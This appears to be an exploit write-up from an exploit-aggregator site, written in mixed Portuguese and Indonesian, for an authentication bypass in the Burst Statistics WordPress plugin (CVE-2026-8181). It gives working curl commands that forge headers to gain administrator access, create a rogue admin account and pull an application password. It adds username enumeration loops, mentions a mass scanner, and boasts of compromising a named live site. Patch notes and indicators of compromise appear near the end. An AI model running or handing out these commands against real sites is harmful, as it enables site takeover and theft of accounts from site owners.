## https://sploitus.com/exploit?id=BA259D25-F378-56B6-826E-F9AEB27553B5
CVE-2026-8181 — Burst Statistics Authentication Bypass to Admin Account Takeover
CVE: CVE-2026-8181
CVSS: 9.8 (Critical)
Type: Unauthenticated
Affected: 3.4.0 - 3.4.1.1
Patched: 3.4.2
Plugin: Burst Statistics
Active Installs: ~200,000+
Author: byt3l0rd
INFORMACAO DA VULNERABILIDADE
CVE ID: CVE-2026-8181
Plugin: Burst Statistics - Privacy-Friendly WordPress Analytics
Versoes Afetadas: 3.4.0 - 3.4.1.1
Versao Corrigida: 3.4.2
CVSS Score: 9.8 (Critical)
Tipo: CWE-287: Improper Authentication
Vetor: Network / Remote / Unauthenticated
Instalacoes Ativas: ~200,000+
Descoberto por: byt3l0rd, Wordfence Threat Intelligence
Data de Publicacao: 8 Maio 2026
RINGKASAN
Kerentanan Authentication Bypass kritis pada plugin WordPress Burst Statistics
versi 3.4.0 hingga 3.4.1.1 memungkinkan attacker tanpa autentikasi untuk
mendapatkan akses penuh administrator WordPress hanya dengan mengetahui
username admin. Konsekuensinya adalah pengambilalihan akun admin lengkap,
termasuk pembuatan akun baru, modifikasi konten, hingga instalasi plugin
berbahaya.
ANALISIS TEKNIS
Root Cause:
Kerentanan berada di method is_mainwp_authenticated() pada file
includes/Frontend/class-mainwp-proxy.php:
public function is_mainwp_authenticated(): bool {
$auth_header = sanitize_text_field(
wp_unslash($_SERVER['HTTP_AUTHORIZATION'] ?? '')
);
if (!empty($auth_header) && stripos($auth_header, 'basic ') === 0) {
$credentials = base64_decode(substr($auth_header, 6), true);
$is_valid = wp_authenticate_application_password(null, $username, $password);
if (is_wp_error($is_valid)) {
return false;
}
$user = get_user_by('login', $username);
if (!$user || !user_can($user, 'manage_burst_statistics')) {
return false;
}
wp_set_current_user($user->ID);
return true;
}
return false;
}
Bug: wp_authenticate_application_password(null, $username, $password)
mengembalikan null (bukan WP_Error) quando Application Passwords tidak
tersedia, yang terjadi pada:
- Situs HTTP (bukan HTTPS)
- Situs onde is_ssl() retorna false
is_wp_error(null) = false, entao kode melanjutkan ke get_user_by('login', $username)
que autentica apenas baseado no username sem validar a senha.
Eksekusi Awal:
Method has_admin_access() dipanggil saat hook plugins_loaded (prioritas 9) no
class-burst.php linha 118:
if ($this->has_admin_access()) {
$this->admin = new Admin();
$this->admin->init();
}
Hook ini roda ANTES do REST API route processing, entao wp_set_current_user()
da acesso admin para TODA a requisicao.
ALUR SERANGAN
Attacker -> HTTP Request -> WordPress
Headers:
X-BURSTMAINWP: 1
Authorization: Basic base64(admin:anything)
|
v
[plugins_loaded hook fires]
|
Burst::bootstrap() -> has_admin_access()
|
HTTP_X_BURSTMAINWP == '1' -> is_mainwp_authenticated()
|
wp_authenticate_application_password(null, 'admin', 'anything')
|
Situs HTTP -> wp_is_application_passwords_available() = false
|
Return null (BUKAN WP_Error)
|
is_wp_error(null) = false found
|
wp_set_current_user(admin_id) -> FULL ADMIN
|
has_admin_access() = true
|
[REST API processa request com contexto admin]
|
Attacker acessa TODOS os endpoints WordPress como administrator
PROOF OF CONCEPT
Prasyarat:
- Target rodando HTTP (bukan HTTPS)
- Plugin Burst Statistics versi 3.4.0 - 3.4.1.1 ativo
- Mengetahui username admin
Instalacao:
pip3 install requests
Penggunaan Single Target:
python3 exploit_CVE-2026-8181.py -u http://target.com -U admin -k
python3 exploit_CVE-2026-8181.py -u http://target.com -U admin --create-user -k
python3 exploit_CVE-2026-8181.py -u http://target.com -U administrator -k
PoC Minimal (curl):
# Verifikasi auth bypass
curl -s \
-H "X-BURSTMAINWP: 1" \
-H "Authorization: Basic $(echo -n 'admin:anything' | base64)" \
"http://target.com/?rest_route=/wp/v2/users/me&context=edit"
# Buat akun administrator baru
curl -s \
-H "X-BURSTMAINWP: 1" \
-H "Authorization: Basic $(echo -n 'admin:bypass' | base64)" \
-H "Content-Type: application/json" \
-X POST \
"http://target.com/?rest_route=/wp/v2/users" \
-d '{"username":"hacker","password":"P@ssw0rd!","email":"h@ck.er","roles":["administrator"]}'
# Dapatkan Application Password
curl -s \
-H "X-BURSTMAINWP: 1" \
-H "Authorization: Basic $(echo -n 'admin:bypass' | base64)" \
-H "Content-Type: application/json" \
-X POST \
"http://target.com/?rest_route=/burst/v1/mainwp-auth" \
-d '{}'
Enumerasi Username Admin:
curl -s "http://target.com/wp-json/wp/v2/users" | jq '.[].slug'
curl -s "http://target.com/?rest_route=/wp/v2/users" | jq '.[].slug'
for i in $(seq 1 5); do
curl -s -o /dev/null -w "%{redirect_url}\n" "http://target.com/?author=$i"
done
VALIDASI HASIL
Pengujian WordPress 6.9 + Burst Statistics 3.4.1.1:
| Pengujian | Hasil |
|-----------------------------------------------|------------|
| Akses /wp/v2/users/me tanpa auth | GAGAL |
| Akses com bypass headers | BERHASIL |
| Buat akun administrator baru | BERHASIL |
| Baca WordPress settings | BERHASIL |
| Dapatkan Application Password | BERHASIL |
| Daftar plugin terinstal | BERHASIL |
Validasi Live Target:
- ausdermitte-binz.de -> BERHASIL PWNED (Burst 3.4.1.1, akun byt3l0rd criado)
ANALISIS PATCH (v3.4.2)
1. Cek return type:
$authenticated_user = wp_authenticate_application_password(null, $parts[0], $parts[1]);
if (!$authenticated_user instanceof \WP_User) {
return false;
}
2. Force Application Passwords:
$allow = static function(): bool { return true; };
add_filter('application_password_is_api_request', $allow, 999);
remove_filter('application_password_is_api_request', $allow, 999);
3. CSRF nonce requirement
4. Nonce replay protection
5. Removed legacy signature format
REMEDIASI
Langkah Segera:
1. Update Burst Statistics ke 3.4.2+
2. Audit akun user (cek admin tidak dikenal)
3. Cabut semua Application Passwords
4. Review email admin e settings WordPress
5. Cek plugin/theme tidak dikenal
Deteksi Indikator Kompromi:
- Access log: request com header X-BURSTMAINWP: 1
- Tabel wp_users: akun administrator baru
- wp_options: transient burst_mainwp_app_token_*
- Application Passwords no perfil user
ARQUIVOS
exploit_CVE-2026-8181.py - PoC exploit single target
poc_CVE-2026-8181.py - Mass scanner multi-target
README.md - Dokumentacao
DISCLAIMER
Tool e documentacao apenas para PENGUJIAN KEAMANAN QUE SAH com izin eksplisit.
Penggunaan tanpa autorisasi contra sistemas que nao sao seus ou sem izin
escrito é ILEGAL. O autor nao se responsabiliza por uso indevido.
REFERENCIAS
- https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/burst-statistics/burst-statistics-340-3411-authentication-bypass-to-admin-account-takeover
- https://plugins.trac.wordpress.org/browser/burst-statistics/tags/3.4.1.1/includes/Frontend/class-mainwp-proxy.php
- https://wordpress.org/plugins/burst-statistics/
- https://wp-safety.org/plugins/burst-statistics
================================================================================
Author: byt3l0rd
================================================================================